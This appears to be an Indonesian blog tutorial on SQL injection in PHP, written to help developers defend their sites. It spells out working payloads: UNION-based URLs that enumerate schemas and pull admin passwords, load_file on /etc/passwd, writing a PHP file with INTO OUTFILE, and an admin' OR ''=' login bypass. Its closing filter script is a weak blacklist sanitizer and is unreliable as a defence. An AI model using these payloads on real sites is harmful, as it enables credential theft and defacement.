Tips PHP : Teknik Untuk Mengurangi Resiko SQL Injection dengan Script Filter Parameter HTTP


Sahabat sekalian, Pernahkah anda berpikir jika website yang kita buat beresiko di bobol oleh para orang yang tidak bertanggung jawab ? atau tahukah anda jika semua hal itu sangat merugikan ? tentu anda sangat tidak ingin website yang anda buat di bobol oleh orang jahil dan tidak bertanggung jawab, So ,, Untuk mengatasi hal tersebut, saya sedikit berbagi tips atau cara untuk mengatasinya. Langsung saja ke TKP ...!!!
Salah satu bug yang paling ditakuti di dunia pemrograman web adalah : SQL Injection Vulnerability. Dalam dunia hacking sering disebut dengan SQLiv. Bug ini termasuk paling banyak dijumpai publikasinya di situs-situs pempublish bug dan hacking. SQL Injection ini termasuk bug dengan jenis resiko tinggi. Injeksi SQL biasanya dilakukan dengan cara memasukkan perintah atau sintaks tambahan ke dalam FORM yang ada dalam web tersebut, baik FORM di address bar, maupun FORM yang ada pada content.

Dasar Teknis

1. Serangan GET Methode

Dalam membuat web, biasanya kita akan gunakan pemanggilan ID atau kode unik untuk mengundang suatu konten.
Misalnya :

http://planetsphp/index.php?mod=news&id=12

Maka, proses SQL yang yang kemungkinan akan dibentuk adalah :
 
$id = $_GET['id'];
 
$query = "SELECT * FROM `news` WHERE `id`='$id'";

Apa yang terjadi apabila seseorang menambahkan perintah di belakang URL tersebut?

http://planetsphp/index.php?mod=news&id=12 and 1=1

dan selanjutnya. Jika penambahan 1=1 dan 1=0 menghasilkan efek yang berbeda, dengan
1=1 posting/berita tetap muncul (tidak error)
1=0 berita tidak muncul (error)

Error message memang bisa saja ditutup dengan mengganti value PHP.INI dengan display_errors=’false’. Namun proses error tetap saja terjadi. Maka sebenarnya sintaks perintah di belakang parameter ID itu diproses oleh script. Apakah ini berbahaya ? Tentu ia, ini sangat berbahaya. Biasanya penyusup akan menggunakan methode UNION untuk melakukan serangan selanjutnya. Anggap dalam tabel berita bagian yang diambil adalah terdapat 4 kolom/field
 
SELECT `judul`,`isi`,`penulis`,`tanggal` FROM `news` WHERE `id`='$id'

Proses UNION adalah proses dua SELECT yang harus memiliki jumlah field terpanggil yang sama. Jika sampai proses UNION tidak sama jumlah fieldnya, maka akan terjadi error. Error adalah informasi berharga untuk seorang intruder. Misal si intruder mencoba melakukan pemanggilan sebagai berikut :

http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1

maka halaman tersebut tidak akan muncul content. Dan kemungkinan dia bisa melanjutkan ke
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2

hingga
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,4

Pada saat ini, selain menunjukkan posting content tersebut, juga akan menampilkan tulisan 1,2,3,4 sesuai dengan fieldnya. Saat itulah si intruder memanfaatkan celah seperti berikut:

Pencarian versi MySQL
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,@@version

Pencarian nama database yang sedan digunakan atau aktif
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,database()

Pencarian nama user atau User Name database aktif
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,user()

Pencarian nama database lain
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,
(SELECT DISTINCT TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES WHERE 
TABLE_SCHEMA not in('INFORMATION_SCHEMA','mysql','test') LIMIT 1)

Pencarian nama tabel untuk database ‘website’ misal
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,
(SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES WHERE 
TABLE_SCHEMA ='web' AND TABLE_NAME not in('coba','test','anu') LIMIT 1)

Pencarian nama kolom / field untuk tabel ‘user’ dalam database ‘website’ misal
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,
(SELECT COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE 
TABLE_SCHEMA ='web' AND TABLE_NAME ='user' AND COLUMN_NAME not in('test') LIMIT 1)

Pencarian data dalam kolom user atau password
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,
(SELECT username FROM user LIMIT 1)
 
http://planetsphp/index.php?mod=news&id=12 UNION SELECT 1,2,3,
(SELECT password FROM user WHERE username='admin')

Setelah mendapatkan user dan password dari tabel user, maka dapat dieksekusi Login ke dalam form. Proses lain dapat juga dengan mencoba membaca file dalam sistem atau menulis file dalam sistem

SELECT load_file('/etc/passwd');
 
SELECT 'test' INTO OUTFILE('/var/www/hack.php');

atau bahkan
 
UPDATE news SET judul='hacked';

Cerita mengenai hacking dengan sql injection akan dibahas dalam posting lain.

2. Serangan POST Method

Serangan ini biasanya dilakukan pada FORM login.
Login Admin

Serangan ini biasanya memanfaatkan logika pemrograman sebagai berikut :
 
$username = $_GET['username'];
 
$password = $_GET['password']
 
$query = "SELECT * FROM `user` WHERE `username`='$username' AND `password`='$password'";

Logika ini benar, memanfaatkan operator logika AND. Sehingga session baru terbuka jika PASANGAN username dan password itu terdapat dalam tabel user.
Apa yang terjadi apabila kita memasukkan pada kolom login tersebut adalah : admin’ OR”=’ ? Maka proses query yang terjadi menjadi seperti ini

SELECT * FROM `user` WHERE `username`=’admin’ OR ”=’‘ AND `password`=”;

Bagian tercetak kuning merupakan masukan yang berasal dari form. Sedangkan proses logika AND menjadi tercemar oleh OR, sehingga password salahpun akan dianggap benar. Padahal jika logika tersebut benar, sessi akan terbuka untuk si penyusup, tanpa perlu tahu passwordnya.

3. Blind SQL Injection

Blind SQL Injection adalah SQL Injection tanpa petunjuk error atau penampilan yang jelas. Tetap Blind SQLiv ini berbahaya.

Gejala-gejala
Melihat gejala sebuah situs mengidap penyakit ini adalah dengan beberapa cara:
  1. Menambahkan tanda petik. Jika pada halaman muncul error maka ada kemungkinan potensi bahaya itu ada.
  2. Menambahkan logika 1=1 dan 1=0. Jika dengan 1=1 berita masih muncul tapi 1=0 tidak muncul maka potensi itu ada
  3. Mencoba form login dengan memasukkan admin’ or ”=’pada kolom user dan password. Apakah anda dapat masuk ke halaman admin
  4. Memanfaatkan pentester software, seperti SQLMap, Hexjector ataupun Havij dan lain sebagainya.

Penanggulangan

Beberapa cara pengurang resiko bug ini adalah:
  1. Melakukan filtering parameter yang perlu dimasukkan sebagai proses SQL
  2. Melakukan penutupan error dan pembatasan jumlah karakter parameter/post
  3. Menggunakan user database dan password yang bukan root, dan beda aplikasi web seharusnya berbeda pula user dan grant nya
  4. Menata permission struktur direktori secara benar sehingga web tetap bisa melakukan penulisan, juga mysql tidak dapat menulis ke dalam file.
  5. Penggunaaan mod_rewrite apache untuk me-rewrite URL sehingga selain SEO Friendly juga aman.
  6. Melakukan sanitasi file upload dengan benar. Jika hanya dibutuhkan file gambar, maka hanya bertipe gambar saja yang boleh masuk.
  7. Penggunaan program semacam antivirus seperti clamav dan lain sebagainya.
  8. Penutupan database information_schema.
  9. Untuk penggunaan CMS, rajin update juga menjadi faktor penting. Namun kadang pluggins merupakan faktor yang sering membawa bug.
  10. Memanfaatkan log error dan access secara benar. Pengecekan apakah terjadi injection dapat dimulai dari sini.
dan lain sebagainya.

Contoh Script Filter Parameter sederhana:

function filter_param($text,$html=true){
        $e_s=array('\\','\'','"');
  $d_s=array('','','');
  $text = preg_replace( "'<script[^>]*>.*?</script>'si", '', $text );
        $text = preg_replace( '/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is', '\2 
(\1)', $text );
        $text = preg_replace( '/<!--.+?-->/', '', $text );
        $text = preg_replace( '/{.+?}/', '', $text );
        $text = preg_replace( '/&nbsp;/', ' ', $text );
        $text = preg_replace( '/&amp;/', '', $text );
  $text = str_replace( $e_s, $d_s, $text );
        $text = strip_tags( $text );
        $text = preg_replace("/\r\n\r\n\r\n+/", " ", $text);
        $text = $html ? htmlspecialchars( $text ) : $text;
        return $text;
}
$id = filter_param($_GET['id']);
$username = filter_param($_POST['username']);
$password = filter_param($_POST['password']);

SQL Injection dapat terjadi pada semua jenis database. Oracle, SQLServer, Access dan lain-lain. Pada windows, SQL Server juga memiliki fungsi executable yang cukup berbahaya.

Semoga berguna.

1 Komentar

Lebih baru Lebih lama